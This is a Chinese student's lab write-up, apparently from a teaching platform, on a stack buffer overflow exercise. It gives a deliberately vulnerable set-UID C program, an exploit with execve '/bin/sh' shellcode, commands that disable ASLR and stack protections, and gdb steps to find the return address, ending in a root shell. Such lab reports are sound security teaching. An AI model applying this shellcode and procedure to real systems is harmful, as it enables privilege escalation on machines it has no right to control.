缓冲区溢出漏洞实验_20181310

本次有关缓冲区漏洞实验基于实验楼搭建平台，实验中命令在 xfce 终端中输入，实验楼给出的教程详细且有序，但也遇到了一些问题，借此机会同大家分享，部分可能没有图片说明，望见谅。

一、实验介绍

缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况。这一漏洞可以被恶意用户利用来改变程序的流控制，甚至执行代码的任意片段。这一漏洞的出现是由于数据缓冲器和返回地址的暂时关闭，溢出会引起返回地址被重写。

缓冲区溢出是一种非常普遍、非常危险的漏洞，在各种操作系统、应用软件中广泛存在。利用该攻击，可以导致程序运行失败、系统宕机、重新启动等后果。更为严重的是，可以利用它执行非授权指令，甚至可以取得系统特权，进而进行各种非法操作。

本次实验要求不高，简单做到以下几点便可以：

有 C 语言基础
会进制转换以及计算
vim 基本使用
熟悉基本 linux 命令

二、实验准备

实验楼提供的是 64 位 Ubuntu linux，而本次实验为了方便观察汇编语句，我们需要在 32 位环境下作操作，因此实验之前需要做一些准备。即利用命令安装一些用于编译32位C程序的软件包：

1 sudo apt-get update

2 sudo apt-get install -y lib32z1 libc6-dev-i386 lib32readline6-dev

3 sudo apt-get install -y python3.6-gdbm gdb

三、实验操作

（一）初始设计

本次采用的实验环境使用地址空间随机化来随机堆（heap）和栈（stack）的初始地址，这使得猜测准确的内存地址变得十分困难，而猜测内存地址是缓冲区溢出攻击的关键。因此本次实验中，为充分了解缓冲区原理，降低实验难度，观察易得结果，我们使用以下命令关闭这一功能：

sudo sysctl -w kernel.randomize_va_space=0

为了更好地显示效果，我们不希望许多shell程序在被调用时自动放弃它们的特权，因为只要不放弃特权，我们只要欺骗一个Set-UID 程序调用一个 shell，那就可以实现shell程序攻击。

linux 系统中，/bin/sh 实际是指向 /bin/bash 或 /bin/dash 的一个符号链接，我们使用另一个 shell 程序（zsh）代替 /bin/bash，以“恢复其特权”，下面的指令描述了如何设置 zsh 程序：

1 sudo su
2 cd /bin
3 rm sh
4 ln -s zsh sh
5 exit

输入命令 linux32 进入32位linux环境。输入 /bin/bash 使用bash，但相关操作会有些许限制：

（二）shellcode设置

我们此处使用实验楼中给出的解释：缓冲区溢出会造成程序崩溃，在程序中，溢出的数据覆盖了返回地址。而如果覆盖返回地址的数据是另一个地址，那么程序就会跳转到该地址，如果该地址存放的是一段精心设计的代码用于实现其他功能，这段代码就是 shellcode。那么接下来前瞻性工作就是“猜测地址”——以某种方法得到地址。

（三）漏洞程序

按照实验步骤，我们在 /tmp 目录下新建一个 stack.c 文件：

1 cd /tmp

2 vim stack.c

编辑stack.c:

/* stack.c */

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int bof(char *str)
{
    char buffer[12];

    /* The following statement has a buffer overflow problem */ 
    strcpy(buffer, str);

    return 1;
}

int main(int argc, char **argv)
{
    char str[517];
    FILE *badfile;

    badfile = fopen("badfile", "r");
    fread(str, sizeof(char), 517, badfile);
    bof(str);

    printf("Returned Properly\n");
    return 1;
}

此处会读取一个名为“badfile”的文件，并将文件内容装入“buffer”

接下来就是编译环节了，GCC编译器有一种栈保护机制来阻止缓冲区溢出，所以我们在编译代码时需要用 –fno-stack-protector 关闭这种机制。而 -z execstack 用于允许执行栈，-g 参数是为了使编译后得到的可执行文档能用 gdb 调试：

1 sudo su
2 gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c
3 chmod u+s stack
4 exit

此处可能会出现lgcc的静态库或动态库都是不兼容的情况，第一次做的时候有这种情况，后来不小心关闭了实验环境，后来再次进行的时候问题消失，可能是在实验准备的更新进行了自动补充，但不兼容的情况可以通过apt-get获取使用aptitude解决，这里CSDN有详细解答，再此不再赘述。

（四）攻击程序

我们已经有了一个漏洞程序，下面就是对该程序进行攻击，攻击就设计到地址选择，我们先在/tmp中创建一个 exploit.c 文件，同样用vim编辑，代码如下：

/* exploit.c */

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

char shellcode[] =
    "\x31\xc0" //xorl %eax,%eax
    "\x50"     //pushl %eax
    "\x68""//sh" //pushl $0x68732f2f
    "\x68""/bin"     //pushl $0x6e69622f
    "\x89\xe3" //movl %esp,%ebx
    "\x50"     //pushl %eax
    "\x53"     //pushl %ebx
    "\x89\xe1" //movl %esp,%ecx
    "\x99"     //cdq
    "\xb0\x0b" //movb $0x0b,%al
    "\xcd\x80" //int $0x80
    ;

void main(int argc, char **argv)
{
    char buffer[517];
    FILE *badfile;

    /* Initialize buffer with 0x90 (NOP instruction) */
    memset(&buffer, 0x90, 517);

    /* You need to fill the buffer with appropriate contents here */
    strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");   //在buffer特定偏移处起始的四个字节覆盖sellcode地址  
    strcpy(buffer + 100, shellcode);   //将shellcode拷贝至buffer，偏移量设为了 100

    /* Save the contents to the file "badfile" */
    badfile = fopen("./badfile", "w");
    fwrite(buffer, 517, 1, badfile);
    fclose(badfile);
}

在实验中，为了防止vim的缩进问题，我直接采用以下方式创建了该文件：

wget http://labfile.oss.aliyuncs.com/courses/231/exploit.c

请注意：若原有该文件，则会生成exploit.c.1文件，这个时候在编译等步骤相应改名即可。

注意exploit.c 文件代码，\x??\x??\x??\x?? 处需要改为 shellcode 保存在内存中的地址，因为发生溢出后这个位置要覆盖返回地址。而 strcpy(buffer+100,shellcode)，shellcode 保存在 buffer + 100 的位置。下面我们就来寻找这个 buffer 的地址。

1.现在我们要得到 shellcode 在内存中的地址，输入命令进入 gdb 调试：

1 gdb stack
2 disass main

结果如图所示：

根据代码知，esp 中就是 str 的起始地址，所以我们在地址 0x080484ee 处设置断点，操作如下：

1 # 设置断点
2 b *0x080484ee
3 r
4 i r $esp

最后的地址即是我们想要的对应填写地址，下面再根据代码strcpy(buffer + 100,shellcode)计算地址便可。

将该地址顺序相反填写到待补充代码之中：

下面使用如下命令行进行编译exploit.c 程序：

gcc -m32 -o exploit exploit.c

运行攻击程序 exploit，再运行漏洞程序 stack，观察结果：

可见，通过攻击，获得了root 权限。

四、实验练习

即打开系统的地址空间随机化机制，重复用 exploit 程序攻击 stack 程序，观察能否攻击成功，能否获得root权限。将 /bin/sh 重新指向 /bin/bash（或/bin/dash），观察能否攻击成功，能否获得 root 权限。

通过以下命令行实现：

sudo sysctl -w kernel.randomize_va_space=2

再次执行攻击，结果如下，显示Segmentation fault,指访问的内存超过了系统所给这个程序的内存空间,表是地址出现问题，不再是我们刚刚计算的那个，故此处无法获得root权限。

五、实验总结

1.缓冲区溢出利用代码等脆弱性进行插针操作，在计算机安全领域，缓冲区溢出就好比给自己的程序开了个后门，这种安全隐患是致命的。缓冲区溢出在各种操作系统、应用软件中广泛存在。通过此次实验，我也明白了该攻击广泛性，致命性的由来。

2.地址的覆盖操作是我们精心设计环境，再通过计算得到的，最终完好的获得了结果，但是真正的目前应对缓冲区溢出有许多防范措施，加之程序、shellcode等本身的防范，故作为技术攻击者，实施一次较好的攻击是需要花费心思的，攻击也是存在难度的，如何克服层层保障机制，其实很有技巧，这次的实验准备都是教我们如何避开这些机制，但当真正的攻击目的在现实中到来，我们需要自己分析，自己设计技巧，这点将是攻击的难点。

3.在程序的地址空间里安排适当的代码和通过适当的初始化寄存器和内存，让程序跳转到入侵者安排的地址空间执行都将是很好的理论方法，但实际操作在思路上却有很大差异。

4.学习之路漫无止境，最简单的攻击对于目前的水平可能仍然需要花费大量精力，这是切切实实的。

posted @ 2020-10-11 12:19 David_xfw 阅读(233) 评论(0) 编辑收藏举报

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